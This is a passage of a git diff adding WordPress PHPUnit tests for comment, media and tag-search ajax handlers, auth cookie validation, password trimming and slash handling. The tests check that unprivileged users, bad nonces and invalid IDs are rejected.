'spam' ); + $this->_test_as_subscriber( $comment, 'unspam' ); + + // Test delete + $comment = array_pop( $this->_comments ); + $this->_test_as_subscriber( $comment, 'delete' ); + } + + /** + * Delete a comment with no id + * @return void + */ + public function test_ajax_trash_comment_no_id() { + + // Test trash/untrash + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment, 'trash' ); + $this->_test_as_admin( $comment, 'untrash' ); + + // Test spam/unspam + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment, 'spam' ); + $this->_test_as_admin( $comment, 'unspam' ); + + // Test delete + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment, 'delete' ); + } + + /** + * Delete a comment with a bad nonce + * @return void + */ + public function test_ajax_trash_comment_bad_nonce() { + + // Test trash/untrash + $comment = array_pop( $this->_comments ); + $this->_test_with_bad_nonce( $comment, 'trash' ); + $this->_test_with_bad_nonce( $comment, 'untrash' ); + + // Test spam/unspam + $comment = array_pop( $this->_comments ); + $this->_test_with_bad_nonce( $comment, 'spam' ); + $this->_test_with_bad_nonce( $comment, 'unspam' ); + + // Test delete + $comment = array_pop( $this->_comments ); + $this->_test_with_bad_nonce( $comment, 'delete' ); + } + + /** + * Test trashing an already trashed comment, etc. + * @return void + */ + public function test_ajax_trash_double_action() { + + // Test trash/untrash + $comment = array_pop( $this->_comments ); + $this->_test_double_action( $comment, 'trash' ); + $this->_test_double_action( $comment, 'untrash' ); + + // Test spam/unspam + $comment = array_pop( $this->_comments ); + $this->_test_double_action( $comment, 'spam' ); + $this->_test_double_action( $comment, 'unspam' ); + + // Test delete + $comment = array_pop( $this->_comments ); + $this->_test_double_action( $comment, 'delete' ); + } +} diff --git a/tests/tests/ajax/DimComment.php b/tests/tests/ajax/DimComment.php new file mode 100644 index 0000000000..d34b64d852 --- /dev/null +++ b/tests/tests/ajax/DimComment.php @@ -0,0 +1,238 @@ +factory->post->create(); + $this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 ); + $this->_comments = array_map( 'get_comment', $this->_comments ); + } + + /** + * Clear the POST actions in between requests + */ + protected function _clear_post_action() { + unset($_POST['id']); + unset($_POST['new']); + $this->_last_response = ''; + } + + /***********************************************************/ + /** Test prototype + /***********************************************************/ + + /** + * Test as a privilged user (administrator) + * Expects test to pass + * @param mixed $comment Comment object + * @return void + */ + public function _test_as_admin( $comment ) { + + // Reset request + $this->_clear_post_action(); + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['id'] = $comment->comment_ID; + $_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID ); + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Save the comment status + $prev_status = wp_get_comment_status( $comment->comment_ID ); + + // Make the request + try { + $this->_handleAjax( 'dim-comment' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Get the response + $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA ); + + // Ensure everything is correct + $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] ); + $this->assertEquals( 'dim-comment_' . $comment->comment_ID, (string) $xml->response['action'] ); + $this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] ); + $this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] ); + + // Check the status + $current = wp_get_comment_status( $comment->comment_ID ); + if (in_array( $prev_status, array( 'unapproved', 'spam') ) ) { + $this->assertEquals( 'approved', $current ); + } else { + $this->assertEquals( 'unapproved', $current ); + } + + // The total is calculated based on a page break -OR- a random number. Let's look for both possible outcomes + $comment_count = wp_count_comments( 0 ); + $recalc_total = $comment_count->total_comments; + + // Delta is not specified, it will always be 1 lower than the request + $total = $_POST['_total'] - 1; + + // Check for either possible total + $this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) ); + } + + /** + * Test as a non-privileged user (subscriber) + * Expects test to fail + * @param mixed $comment Comment object + * @return void + */ + public function _test_as_subscriber( $comment ) { + + // Reset request + $this->_clear_post_action(); + + // Become a subscriber + $this->_setRole( 'subscriber' ); + + // Set up the $_POST request + $_POST['id'] = $comment->comment_ID; + $_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID ); + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'dim-comment' ); + } + + /** + * Test with a bad nonce + * Expects test to fail + * @param mixed $comment Comment object + * @return void + */ + public function _test_with_bad_nonce( $comment ) { + + // Reset request + $this->_clear_post_action(); + + // Become a subscriber + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $_POST['id'] = $comment->comment_ID; + $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() ); + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'dim-comment' ); + } + + /** + * Test with a bad id + * Expects test to fail + * @param mixed $comment Comment object + * @return void + */ + public function test_with_bad_id( $comment ) { + + // Reset request + $this->_clear_post_action(); + + // Become a subscriber + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $_POST['id'] = 12346789; + $_POST['_ajax_nonce'] = wp_create_nonce( 'dim-comment_12346789' ); + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request, look for a timestamp in the exception + try { + $this->_handleAjax( 'dim-comment' ); + $this->fail( 'Expected exception: WPAjaxDieContinueException' ); + } catch ( WPAjaxDieContinueException $e ) { + + // Get the response + $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA ); + + // Ensure everything is correct + $this->assertEquals( '0', (string) $xml->response[0]->comment['id'] ); + $this->assertEquals( 'dim-comment_0', (string) $xml->response['action'] ); + $this->assertContains( 'Comment ' . $_POST['id'] . ' does not exist', $this->_last_response ); + + } catch ( Exception $e ) { + $this->fail( 'Unexpected exception type: ' . get_class( $e ) ); + } + } + + /** + * Dim a comment as an administrator (expects success) + * @return void + */ + public function test_ajax_comment_dim_actions_as_administrator() { + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment ); + $this->_test_as_admin( $comment ); + } + + /** + * Dim a comment as a subscriber (expects permission denied) + * @return void + */ + public function test_ajax_comment_dim_actions_as_subscriber() { + $comment = array_pop( $this->_comments ); + $this->_test_as_subscriber( $comment ); + } + + /** + * Dim a comment with no id + * @return void + */ + public function test_ajax_dim_comment_no_id() { + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment ); + } + + /** + * Dim a comment with a bad nonce + * @return void + */ + public function test_ajax_dim_comment_bad_nonce() { + $comment = array_pop( $this->_comments ); + $this->_test_with_bad_nonce( $comment ); + } +} diff --git a/tests/tests/ajax/EditComment.php b/tests/tests/ajax/EditComment.php new file mode 100644 index 0000000000..8c6ebdfcea --- /dev/null +++ b/tests/tests/ajax/EditComment.php @@ -0,0 +1,148 @@ +factory->post->create(); + $this->factory->comment->create_post_comments( $post_id, 5 ); + $this->_comment_post = get_post( $post_id ); + } + + /** + * Get comments as a privilged user (administrator) + * Expects test to pass + * @return void + */ + public function test_as_admin() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Get a comment + $comments = get_comments( array( + 'post_id' => $this->_comment_post->ID + ) ); + $comment = array_pop( $comments ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['comment_ID'] = $comment->comment_ID; + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + + // Make the request + try { + $this->_handleAjax( 'edit-comment' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Get the response + $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA ); + + // Check the meta data + $this->assertEquals( -1, (string) $xml->response[0]->edit_comment['position'] ); + $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->edit_comment['id'] ); + $this->assertEquals( 'edit-comment_' . $comment->comment_ID, (string) $xml->response['action'] ); + + // Check the payload + $this->assertNotEmpty( (string) $xml->response[0]->edit_comment[0]->response_data ); + + // And supplemental is empty + $this->assertEmpty( (string) $xml->response[0]->edit_comment[0]->supplemental ); + } + + /** + * Get comments as a non-privileged user (subscriber) + * Expects test to fail + * @return void + */ + public function test_as_subscriber() { + + // Become an administrator + $this->_setRole( 'subscriber' ); + + // Get a comment + $comments = get_comments( array( + 'post_id' => $this->_comment_post->ID + ) ); + $comment = array_pop( $comments ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['comment_ID'] = $comment->comment_ID; + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'edit-comment' ); + } + + /** + * Get comments with a bad nonce + * Expects test to fail + * @return void + */ + public function test_bad_nonce() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Get a comment + $comments = get_comments( array( + 'post_id' => $this->_comment_post->ID + ) ); + $comment = array_pop( $comments ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() ); + $_POST['comment_ID'] = $comment->comment_ID; + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'get-comments' ); + } + + /** + * Get comments for an invalid post + * This should return valid XML + * @return void + */ + public function test_invalid_comment() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['comment_ID'] = 123456789; + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'edit-comment' ); + } +} diff --git a/tests/tests/ajax/GetComments.php b/tests/tests/ajax/GetComments.php new file mode 100644 index 0000000000..b9dec083fc --- /dev/null +++ b/tests/tests/ajax/GetComments.php @@ -0,0 +1,159 @@ +factory->post->create(); + $this->factory->comment->create_post_comments( $post_id, 5 ); + $this->_comment_post = get_post( $post_id ); + + $post_id = $this->factory->post->create(); + $this->_no_comment_post = get_post( $post_id ); + } + + /** + * Get comments as a privilged user (administrator) + * Expects test to pass + * @return void + */ + public function test_as_admin() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' ); + $_POST['action'] = 'get-comments'; + $_POST['p'] = $this->_comment_post->ID; + + // Make the request + try { + $this->_handleAjax( 'get-comments' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Get the response + $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA ); + + // Check the meta data + $this->assertEquals( 1, (string) $xml->response[0]->comments['position'] ); + $this->assertEquals( 0, (string) $xml->response[0]->comments['id'] ); + $this->assertEquals( 'get-comments_0', (string) $xml->response['action'] ); + + // Check the payload + $this->assertNotEmpty( (string) $xml->response[0]->comments[0]->response_data ); + + // And supplemental is empty + $this->assertEmpty( (string) $xml->response[0]->comments[0]->supplemental ); + } + + /** + * Get comments as a non-privileged user (subscriber) + * Expects test to fail + * @return void + */ + public function test_as_subscriber() { + + // Become a subscriber + $this->_setRole( 'subscriber' ); + + // Set up a default request + $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' ); + $_POST['action'] = 'get-comments'; + $_POST['p'] = $this->_comment_post->ID; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'get-comments' ); + } + + /** + * Get comments with a bad nonce + * Expects test to fail + * @return void + */ + public function test_bad_nonce() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() ); + $_POST['action'] = 'get-comments'; + $_POST['p'] = $this->_comment_post->ID; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'get-comments' ); + } + + /** + * Get comments for an invalid post + * Bad post IDs are set to 0, this should return valid XML + * @return void + */ + public function test_invalid_post() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' ); + $_POST['action'] = 'get-comments'; + $_POST['p'] = 'b0rk'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'get-comments' ); + } + + /** + * Get comments for an invalid post + * Bad post IDs are set to 0, this should return valid XML + * @return void + */ + public function test_post_with_no_comments() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce'] = wp_create_nonce( 'get-comments' ); + $_POST['action'] = 'get-comments'; + $_POST['p'] = $this->_no_comment_post->ID; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '1' ); + $this->_handleAjax( 'get-comments' ); + } +} diff --git a/tests/tests/ajax/MediaEdit.php b/tests/tests/ajax/MediaEdit.php new file mode 100644 index 0000000000..a17e724718 --- /dev/null +++ b/tests/tests/ajax/MediaEdit.php @@ -0,0 +1,102 @@ +_ids as $id){ + wp_delete_attachment($id, true); + } + + $uploads = wp_upload_dir(); + foreach ( scandir( $uploads['basedir'] ) as $file ) + _rmdir( $uploads['basedir'] . '/' . $file ); + + parent::tearDown(); + } + + /** + * Function snagged from ./tests/post/attachments.php + */ + function _make_attachment($upload, $parent_post_id = -1) { + $type = ''; + if ( !empty($upload['type']) ) { + $type = $upload['type']; + } else { + $mime = wp_check_filetype( $upload['file'] ); + if ($mime) + $type = $mime['type']; + } + + $attachment = array( + 'post_title' => basename( $upload['file'] ), + 'post_content' => '', + 'post_type' => 'attachment', + 'post_parent' => $parent_post_id, + 'post_mime_type' => $type, + 'guid' => $upload[ 'url' ], + ); + + // Save the data + $id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent_post_id ); + wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) ); + return $this->_ids[] = $id; + } + + /** + * @ticket 22985 + */ + public function testCropImageThumbnail() { + include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); + + $filename = DIR_TESTDATA . '/images/canola.jpg'; + $contents = file_get_contents($filename); + + $upload = wp_upload_bits(basename($filename), null, $contents); + $id = $this->_make_attachment($upload); + + $_REQUEST['action'] = 'image-editor'; + $_REQUEST['context'] = 'edit-attachment'; + $_REQUEST['postid'] = $id; + $_REQUEST['target'] = 'thumbnail'; + $_REQUEST['do'] = 'save'; + $_REQUEST['history'] = '[{"c":{"x":5,"y":8,"w":289,"h":322}}]'; + + $media_meta = wp_get_attachment_metadata($id); + $this->assertArrayHasKey('sizes', $media_meta, 'attachment should have size data'); + $this->assertArrayHasKey('medium', $media_meta['sizes'], 'attachment should have data for medium size'); + $ret = wp_save_image($id); + + $media_meta = wp_get_attachment_metadata($id); + $this->assertArrayHasKey('sizes', $media_meta, 'cropped attachment should have size data'); + $this->assertArrayHasKey('medium', $media_meta['sizes'], 'cropped attachment should have data for medium size'); + } +} diff --git a/tests/tests/ajax/ReplytoComment.php b/tests/tests/ajax/ReplytoComment.php new file mode 100644 index 0000000000..a8407a6e80 --- /dev/null +++ b/tests/tests/ajax/ReplytoComment.php @@ -0,0 +1,226 @@ +factory->post->create(); + $this->factory->comment->create_post_comments( $post_id, 5 ); + $this->_comment_post = get_post( $post_id ); + + $post_id = $this->factory->post->create( array( 'post_status' => 'draft' ) ); + $this->_draft_post = get_post( $post_id ); + } + + /** + * Reply as a privilged user (administrator) + * Expects test to pass + * @return void + */ + public function test_as_admin() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Get a comment + $comments = get_comments( array( + 'post_id' => $this->_comment_post->ID + ) ); + $comment = array_pop( $comments ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['comment_ID'] = $comment->comment_ID; + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + $_POST['comment_post_ID'] = $this->_comment_post->ID; + + // Make the request + try { + $this->_handleAjax( 'replyto-comment' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Get the response + $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA ); + + // Check the meta data + $this->assertEquals( -1, (string) $xml->response[0]->comment['position'] ); + $this->assertGreaterThan( 0, (int) $xml->response[0]->comment['id'] ); + $this->assertNotEmpty( (string) $xml->response['action'] ); + + // Check the payload + $this->assertNotEmpty( (string) $xml->response[0]->comment[0]->response_data ); + + // And supplemental is empty + $this->assertEmpty( (string) $xml->response[0]->comment[0]->supplemental ); + } + + /** + * Reply as a non-privileged user (subscriber) + * Expects test to fail + * @return void + */ + public function test_as_subscriber() { + + // Become an administrator + $this->_setRole( 'subscriber' ); + + // Get a comment + $comments = get_comments( array( + 'post_id' => $this->_comment_post->ID + ) ); + $comment = array_pop( $comments ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['comment_ID'] = $comment->comment_ID; + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + $_POST['comment_post_ID'] = $this->_comment_post->ID; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'replyto-comment' ); + } + + /** + * Reply using a bad nonce + * Expects test to fail + * @return void + */ + public function test_bad_nonce() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Get a comment + $comments = get_comments( array( + 'post_id' => $this->_comment_post->ID + ) ); + $comment = array_pop( $comments ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( uniqid() ); + $_POST['comment_ID'] = $comment->comment_ID; + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + $_POST['comment_post_ID'] = $this->_comment_post->ID; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'replyto-comment' ); + } + + /** + * Reply to an invalid post + * Expects test to fail + * @return void + */ + public function test_invalid_post() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + $_POST['comment_post_ID'] = 123456789; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'replyto-comment' ); + } + + /** + * Reply to a draft post + * Expects test to fail + * @return void + */ + public function test_with_draft_post() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + $_POST['comment_post_ID'] = $this->_draft_post->ID; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', 'ERROR: you are replying to a comment on a draft post.' ); + $this->_handleAjax( 'replyto-comment' ); + } + + /** + * Reply to a post with a simulated database failure + * Expects test to fail + * @global $wpdb + * @return void + */ + public function test_blocked_comment() { + global $wpdb; + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' ); + $_POST['content'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; + $_POST['comment_post_ID'] = $this->_comment_post->ID; + + // Block comments from being saved, simulate a DB error + add_filter( 'query', array( $this, '_block_comments' ) ); + + // Make the request + try { + $wpdb->suppress_errors( true ); + $this->_handleAjax( 'replyto-comment' ); + $wpdb->suppress_errors( false ); + $this->fail(); + } catch ( WPAjaxDieStopException $e ) { + $wpdb->suppress_errors( false ); + $this->assertContains( '1', $e->getMessage() ); + } + } + + /** + * Block comments from being saved + * @param string $sql + * @return string + */ + public function _block_comments( $sql ) { + global $wpdb; + if ( false !== strpos( $sql, $wpdb->comments ) && 0 === stripos( trim ( $sql ), 'INSERT INTO') ) { + remove_filter( 'query', array( $this, '_block_comments' ) ); + return ''; + } + return $sql; + } +} diff --git a/tests/tests/ajax/Response.php b/tests/tests/ajax/Response.php new file mode 100644 index 0000000000..9626d752dd --- /dev/null +++ b/tests/tests/ajax/Response.php @@ -0,0 +1,102 @@ +_error_level = error_reporting(); + error_reporting( $this->_error_level & ~E_WARNING ); + } + + /** + * Tear down the test fixture. + * Remove the wp_die() override, restore error reporting + */ + public function tearDown() { + parent::tearDown(); + remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 ); + error_reporting( $this->_error_level ); + } + + /** + * Return our callback handler + * @return callback + */ + public function getDieHandler() { + return array( $this, 'dieHandler' ); + } + + /** + * Handler for wp_die() + * Don't die, just continue on. + * @param string $message + */ + public function dieHandler( $message ) { + } + + /** + * Test that charset in header matches blog_charset + * Note: headers_list doesn't work properly in CLI mode, fall back on + * xdebug_get_headers if it's available + * Needs a separate process to get around the headers/output from the + * bootstrapper + * @ticket 19448 + * @runInSeparateProcess + */ + public function test_response_charset_in_header() { + + if ( !function_exists( 'xdebug_get_headers' ) ) { + $this->markTestSkipped( 'xdebug is required for this test' ); + } + + // Generate an ajax response + ob_start(); + $ajax_response = new WP_Ajax_Response(); + $ajax_response->send(); + + // Check the header + $headers = xdebug_get_headers(); + ob_end_clean(); + + $this->assertTrue( in_array( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), $headers ) ); + } + + /** + * Test that charset in the xml tag matches blog_charset + * @ticket 19448 + */ + public function test_response_charset_in_xml() { + + // Generate an ajax response + ob_start(); + $ajax_response = new WP_Ajax_Response(); + $ajax_response->send(); + + // Check the XML tag + $contents = ob_get_clean(); + $this->assertRegExp( '/<\?xml\s+version=\'1.0\'\s+encoding=\'' . preg_quote( get_option( 'blog_charset' ) ) . '\'\s+standalone=\'yes\'\?>/', $contents ); + } +} diff --git a/tests/tests/ajax/TagSearch.php b/tests/tests/ajax/TagSearch.php new file mode 100644 index 0000000000..2f1c7716be --- /dev/null +++ b/tests/tests/ajax/TagSearch.php @@ -0,0 +1,152 @@ +_terms as $term ) + wp_insert_term( $term, 'post_tag' ); + } + + /** + * Test as an admin + */ + public function test_post_tag() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['tax'] = 'post_tag'; + $_GET['q'] = 'chat'; + + // Make the request + try { + $this->_handleAjax( 'ajax-tag-search' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Ensure we found the right match + $this->assertEquals( $this->_last_response, 'chattels' ); + } + + /** + * Test with no results + */ + public function test_no_results() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['tax'] = 'post_tag'; + $_GET['q'] = md5(uniqid()); + + // Make the request + // No output, so we get a stop exception + $this->setExpectedException( 'WPAjaxDieStopException', '0' ); + $this->_handleAjax( 'ajax-tag-search' ); + } + + /** + * Test with commas + */ + public function test_with_comma() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['tax'] = 'post_tag'; + $_GET['q'] = 'some,nonsense, terms,chat'; // Only the last term in the list is searched + + // Make the request + try { + $this->_handleAjax( 'ajax-tag-search' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Ensure we found the right match + $this->assertEquals( $this->_last_response, 'chattels' ); + } + + /** + * Test as a logged out user + */ + public function test_logged_out() { + + // Log out + wp_logout(); + + // Set up a default request + $_GET['tax'] = 'post_tag'; + $_GET['q'] = 'chat'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'ajax-tag-search' ); + } + + /** + * Test with an invalid taxonomy type + */ + public function test_invalid_tax() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['tax'] = 'invalid-taxonomy'; + $_GET['q'] = 'chat'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '0' ); + $this->_handleAjax( 'ajax-tag-search' ); + } + + /** + * Test as an unprivileged user + */ + public function test_unprivileged_user() { + + // Become an administrator + $this->_setRole( 'subscriber' ); + + // Set up a default request + $_GET['tax'] = 'post_tag'; + $_GET['q'] = 'chat'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'ajax-tag-search' ); + } + +} diff --git a/tests/tests/attachment/slashes.php b/tests/tests/attachment/slashes.php new file mode 100644 index 0000000000..dec69343a3 --- /dev/null +++ b/tests/tests/attachment/slashes.php @@ -0,0 +1,63 @@ +author_id = $this->factory->user->create( array( 'role' => 'editor' ) ); + $this->old_current_user = get_current_user_id(); + wp_set_current_user( $this->author_id ); + + // it is important to test with both even and odd numbered slashes as + // kses does a strip-then-add slashes in some of it's function calls + $this->slash_1 = 'String with 1 slash \\'; + $this->slash_2 = 'String with 2 slashes \\\\'; + $this->slash_3 = 'String with 3 slashes \\\\\\'; + $this->slash_4 = 'String with 4 slashes \\\\\\\\'; + $this->slash_5 = 'String with 5 slashes \\\\\\\\\\'; + $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\'; + $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\'; + } + + function tearDown() { + wp_set_current_user( $this->old_current_user ); + parent::tearDown(); + } + + /** + * Tests the model function that expects slashed data + * + */ + function test_wp_insert_attachment() { + $id = wp_insert_attachment(array( + 'post_status' => 'publish', + 'post_title' => $this->slash_1, + 'post_content_filtered' => $this->slash_3, + 'post_excerpt' => $this->slash_5, + 'post_type' => 'post' + )); + $post = get_post( $id ); + + $this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title ); + $this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content_filtered ); + $this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt ); + + $id = wp_insert_attachment(array( + 'post_status' => 'publish', + 'post_title' => $this->slash_2, + 'post_content_filtered' => $this->slash_4, + 'post_excerpt' => $this->slash_6, + 'post_type' => 'post' + )); + $post = get_post( $id ); + + $this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title ); + $this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content_filtered ); + $this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt ); + } + +} diff --git a/tests/tests/auth.php b/tests/tests/auth.php new file mode 100644 index 0000000000..f2d6552102 --- /dev/null +++ b/tests/tests/auth.php @@ -0,0 +1,66 @@ +user_id = $this->factory->user->create(); + } + + function test_auth_cookie_valid() { + $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' ); + $this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'auth' ) ); + } + + function test_auth_cookie_invalid() { + // 3600 or less and +3600 may occur in wp_validate_auth_cookie(), + // as an ajax test may have defined DOING_AJAX, failing the test. + + $cookie = wp_generate_auth_cookie( $this->user_id, time() - 7200, 'auth' ); + $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'auth' ), 'expired cookie' ); + + $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' ); + $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'logged_in' ), 'wrong auth scheme' ); + + $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' ); + list($a, $b, $c) = explode('|', $cookie); + $cookie = $a . '|' . ($b + 1) . '|' . $c; + $this->assertEquals( false, wp_validate_auth_cookie( $this->user_id, 'auth' ), 'altered cookie' ); + } + + function test_auth_cookie_scheme() { + // arbitrary scheme name + $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' ); + $this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'foo' ) ); + + // wrong scheme name - should fail + $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' ); + $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'bar' ) ); + } + + /* + * @ticket 23494 + */ + function test_password_trimming() { + $another_user = $this->factory->user->create( array( 'user_login' => 'password-triming-tests' ) ); + + $passwords_to_test = array( + 'a password with no trailing or leading spaces', + 'a password with trailing spaces ', + ' a password with leading spaces', + ' a password with trailing and leading spaces ', + ); + + foreach( $passwords_to_test as $password_to_test ) { + wp_set_password( $password_to_test, $another_user ); + $authed_user = wp_authenticate( 'password-triming-tests', $password_to_test ); + + $this->assertInstanceOf( 'WP_User', $authed_user ); + $this->assertEquals( $another_user, $authed_user->ID ); + } + } +} diff --git a/tests/tests/basic.php b/tests/tests/basic.php new file mode 100644 index 0000000000..5c57945ae6 --- /dev/null +++ b/tests/tests/basic.php @@ -0,0 +1,91 @@ +val = true; + } + + function tearDown() { + parent::tearDown(); + $this->val = false; + } + + function test_true() { + $this->assertTrue($this->val); + } + + // two tests for a lame bug in PHPUnit that broke the $GLOBALS reference + function test_globals() { + global $test_foo; + $test_foo = array('foo', 'bar', 'baz'); + + function test_globals_foo() { + 